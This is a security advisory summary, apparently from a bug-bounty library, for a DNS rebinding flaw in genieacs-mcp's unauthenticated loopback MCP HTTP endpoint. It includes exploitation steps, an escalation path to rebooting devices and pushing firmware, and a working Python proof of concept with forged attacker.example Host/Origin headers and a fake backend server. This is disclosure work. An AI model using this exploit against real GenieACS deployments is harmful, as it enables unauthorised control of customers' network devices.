# genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport

genieacs-mcp's default loopback Streamable HTTP MCP endpoint lacks Host/Origin validation, letting a malicious page DNS-rebind into it and invoke GenieACS tools unauthenticated.

- Payout: Research
- Severity: high
- Program: genieacs-mcp
- Found by: avishaigonen-pluto, yotampe-pluto
- Disclosed: 2026-08-25
- CVE: CVE-2026-55637
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cmwv-wf9p-p8wx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cmwv-wf9p-p8wx
- Tags: area:ai domain:ai domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:go tech:llm technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** Streamable HTTP MCP transport on loopback (127.0.0.1:8080)
**Root cause:** When MCP_AUTH_TOKEN is unset and the listener is loopback, the server calls httpSrv.Start(addr) with no middleware validating Host or Origin, so any browser-origin request reaching the port is treated as a trusted local MCP client.
**Steps:**
1. Run fake GenieACS NBI on 127.0.0.1:18083 returning planted device data.
2. Build genieacs-mcp at commit 4d7d3c7 and run with `ACS_URL=http://127.0.0.1:18083 MCP_LISTEN_ADDR=127.0.0.1:8083` (no MCP_AUTH_TOKEN).
3. POST /mcp with `Host: attacker.example:8083`, `Origin: http://attacker.example:8083`, no Authorization, body `{"jsonrpc":"2.0","id":1,"method":"initialize",...}` — returns 200 and Mcp-Session-Id.
4. Send `notifications/initialized` (202) then `tools/list` (200, 12 tools incl. reboot_device, download_firmware, set_parameter).
5. Call `tools/call` with `get_parameter` for the planted device; response returns planted firmware marker and backend log shows the GenieACS NBI request.
**How found:** Noted README treats loopback as a trust boundary and PR #22 only added bearer auth for non-loopback listeners; code review of cmd/server/main.go showed the unauthenticated branch calls httpSrv.Start directly with no Host/Origin middleware, so the browser-origin path into loopback was unprotected.
**Exploitation:** Victim runs the documented default loopback HTTP mode; attacker page uses DNS rebinding so the browser resolves the attacker domain to 127.0.0.1 while keeping the attacker Origin, then drives the MCP JSON-RPC session (initialize, tools/list, tools/call) to read or mutate CPE state via the server's configured ACS_URL credentials.
**Escalation:** Tool set includes reboot_device, download_firmware, set_parameter, manage_preset/manage_provision, connection_request — turning read access into fleet-wide CPE manipulation.
**Insight:** For local MCP/agent HTTP servers, loopback binding is not an auth boundary — check whether the unauthenticated branch skips Host/Origin middleware, and test with forged Host/Origin plus no Authorization to confirm a rebindable session.

## Proof of concept (copied exactly from the original report)

**Python script sending rebinding headers and tool call**

```
import http.client
import json

PORT = 8083
PROTO = "2024-11-05"
ATTACKER_HOST = f"attacker.example:{PORT}"

def parse_rpc(text):
    text = (text or "").strip()
    if text.startswith("{") or text.startswith("["):
        return [json.loads(text)]
    out = []
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            data = line[5:].strip()
            if data and data != "[DONE]":
                out.append(json.loads(data))
    return out

sid = None

def rpc(body):
    global sid
    headers = {
        "Host": ATTACKER_HOST,
        "Origin": "http://" + ATTACKER_HOST,
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if sid:
        headers["Mcp-Session-Id"] = sid
        headers["MCP-Protocol-Version"] = PROTO
    conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10)
    conn.request("POST", "/mcp", json.dumps(body), headers)
    res = conn.getresponse()
    raw_headers = dict(res.getheaders())
    if raw_headers.get("Mcp-Session-Id"):
        sid = raw_headers["Mcp-Session-Id"]
    text = res.read().decode("utf-8", "replace")
    conn.close()
    return res.status, parse_rpc(text), text

init_status, init_msgs, init_raw = rpc({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": PROTO,
        "capabilities": {},
        "clientInfo": {"name": "genieacs-rebind-check", "version": "1"}
    }
})

notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

tools_status, tools_msgs, tools_raw = rpc({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
})

call_status, call_msgs, call_raw = rpc({
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
        "name": "get_parameter",
        "arguments": {
            "device_id": "00236A-FAKE-CPE-PWNED",
            "parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL"
        }
    }
})

print("initialize_status", init_status)
print("session_created", bool(sid))
print("initialized_notification_status", notify_status)
print("tools_list_status", tools_status)
print(tools_raw[:1200])
print("get_parameter_status", call_status)
print(call_raw)
```

**Fake GenieACS NBI server with planted CPE data**

```
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import urllib.parse

DEVICE_ID = "00236A-FAKE-CPE-PWNED"

class Handler(BaseHTTPRequestHandler):
    def _json(self, value, status=200):
        data = json.dumps(value, indent=2).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def do_GET(self):
        print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True)
        parsed = urllib.parse.urlparse(self.path)
        if parsed.path.rstrip("/") == "/devices":
            self._json([{
                "_id": DEVICE_ID,
                "_tags": ["poc-owned"],
                "Device": {
                    "DeviceInfo": {
                        "SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"},
                        "SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"}
                    },
                    "ManagementServer": {
                        "URL": {"_value": "https://acs-control.example.invalid/cwmp"}
                    }
                }
            }])
            return
        self._json({"error": "not found"}, 404)

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever()
```

